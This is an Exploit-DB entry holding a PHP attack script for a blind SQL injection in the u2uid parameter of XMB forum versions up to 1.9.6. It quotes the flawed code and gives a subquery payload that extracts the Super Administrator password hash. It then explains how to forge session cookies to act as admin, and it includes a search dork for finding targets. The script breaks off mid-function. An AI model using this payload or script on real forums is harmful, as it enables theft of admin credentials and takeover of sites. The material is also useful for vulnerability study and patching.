Exploit-DB #2105
Description: XMB 1.9.6 - 'mq=off' 'u2uid' SQL Injection
Type: webapps
Platform: php
Date: 2006-08-01
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "XMB <= 1.9.6 'u2uid' SQL injection / admin credentials disclosure\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Powered by XMB\"\n\n";

/*
works with magic_quotes=off
Mysql >= 4.1 (allowing subs)
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path username password OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to XMB \n";
echo "user/pass: you need a valid user account\n";
echo "Options:\n";
echo "   -T[prefix]   specify a table prefix (default: xmb_)\r\n";
echo "   -d[delay]       \"   a delay between posts (there is an antiflood protection, default: 5)\r\n";
echo "   -p[port]:       \"   a port other than 80\n";
echo "   -P[ip:port]:    \"   a proxy\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /xmb/ user pass -d6\n";
echo "php ".$argv[0]." localhost /xmb/Files/ user pass -Txmb191_\n";
die;
}

/* software site: http://www.xmbforum.com/

   tested versions:
		   XMB 1.9.3 Final
		   XMB 1.9.4 Final
		   XMB 1.9.5 Final
                   XMB 1.9.6 Alpha

  download page: http://snaps.xmbforum.com/

  vulnerable code in u2u.inc.php near lines 176-219 (code taken from 1.9.5):

  ...
  function u2u_send($u2uid, $msgto, $subject, $message, $u2upreview) {
    global $db, $self, $lang, $username, $SETTINGS, $table_u2u, $del;
    global $u2uheader, $u2ufooter, $u2ucount, $u2uquota;
    global $altbg1, $altbg2, $bordercolor, $borderwidth, $tablespace, $cattext, $thewidth;
    global $forward, $reply;

    global $sendsubmit, $savesubmit, $previewsubmit;

    $username = checkInput($username, '', '', 'script', false);

    if ( $self['ban'] == 'u2u' || $self['ban'] == 'both' ) {
        error( $lang['textbanfromu2u'], false, $u2uheader, $u2ufooter, false, true, false, false );
    }

    if ( $u2ucount >= $u2uquota && $u2uquota > 0 ) {
        error( $lang['u2ureachedquota'], false, $u2uheader, $u2ufooter, false, true, false, false );
    }

    if (isset($savesubmit)) {
        if (empty($subject) || empty($message)) {
            error( $lang['u2uempty'], false, $u2uheader, $u2ufooter, false, true, false, false );
        }

        db_u2u_insert( '', '', 'draft', $self['username'], 'Drafts', $subject, $message, 'yes', 'no' );
        u2u_msg($lang['imsavedmsg'], "u2u.php?folder=Drafts");
    }

    if ( isset( $sendsubmit ) ) {
        $errors = '';
        if ( empty( $subject ) || empty( $message ) ) {
            error( $lang['u2uempty'], false, $u2uheader, $u2ufooter, false, true, false, false );
        }
		// floodcontrol!
		// $SETTINGS['floodctrl']
		if($db->result($db->query("SELECT count(u2uid) FROM $table_u2u WHERE msgfrom='$self[username]' AND dateline > ".(time()-$SETTINGS['floodctrl'])), 0) > 0) {
			error($lang['floodprotect_u2u'], false, $u2uheader, $u2ufooter, false, true, false, false );
		}

        $u2uid = $_POST['u2uid']; // [*]   <------------- this break the global protection

        if ( strstr( $msgto, "," ) && X_STAFF) {
            $errors = u2u_send_multi_recp($msgto, $subject, $message, $u2uid);
        } else {
            $errors = u2u_send_recp($msgto, $subject, $message, $u2uid);
        }
    ...

$u2uid argument is not properly sanitized before to be sent to the u2u_send_recp function:

...
function u2u_send_recp($msgto, $subject, $message, $u2uid=0) {
    global $db, $table_members, $self, $SETTINGS, $lang, $onlinetime, $bbname, $adminemail, $table_u2u, $del;

    $errors = '';

    $query = $db->query( "SELECT username, email, lastvisit, ignoreu2u, emailonu2u, status FROM $table_members WHERE username='" . trim( $msgto ) . "'" );
    if ( $rcpt = $db->fetch_array( $query ) ) {
        $ilist = array_map( 'trim', explode( ",", $rcpt['ignoreu2u'] ) );
        if ( !in_array( $self['username'], $ilist ) || X_ADMIN ) {
            $username = $rcpt['username'];
            db_u2u_insert( $username, $self['username'], 'incoming', $username, 'Inbox', $subject, $message, 'no', 'yes' );
            if ( $self['saveogu2u'] == 'yes' ) {
                db_u2u_insert( $username, $self['username'], 'outgoing', $self['username'], 'Outbox', $subject, $message, 'no', 'yes' );
            }
            //u2u to trash ;)
            if($del == "yes" && $u2uid > 0){
                   $db->query( "UPDATE $table_u2u SET folder='Trash' WHERE u2uid='$u2uid' AND owner='$self[username]'" ); // [**] affected query
            }
...

there is a global protection in xmb.php but [*[ totally break the rules, so,
with magic_quotes_gpc=off, we have sql injection in [**], affected query could become

UPDATE xmb_u2u SET folder='Trash' WHERE u2uid='[PII_REDACTED]' or (1=(SELECT(IF((ASCII(SUBSTRING(password,1,1))=48),1,0)) FROM xmb_members WHERE status='Super Administrator') AND owner='rgod'/*' AND owner='rgod'

because MySQL >= 4.1 allows SELECT subquery.

By sending yourself private messages, trashing them and resend you can
ask true/false questions to the database to extract admin username/password hash pair

you do not need to force the md5 hash, you can set a new cookie like this:

xmbuser=[admin user]; xmbpw=[md5 hash];

to act as admin
									      */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function se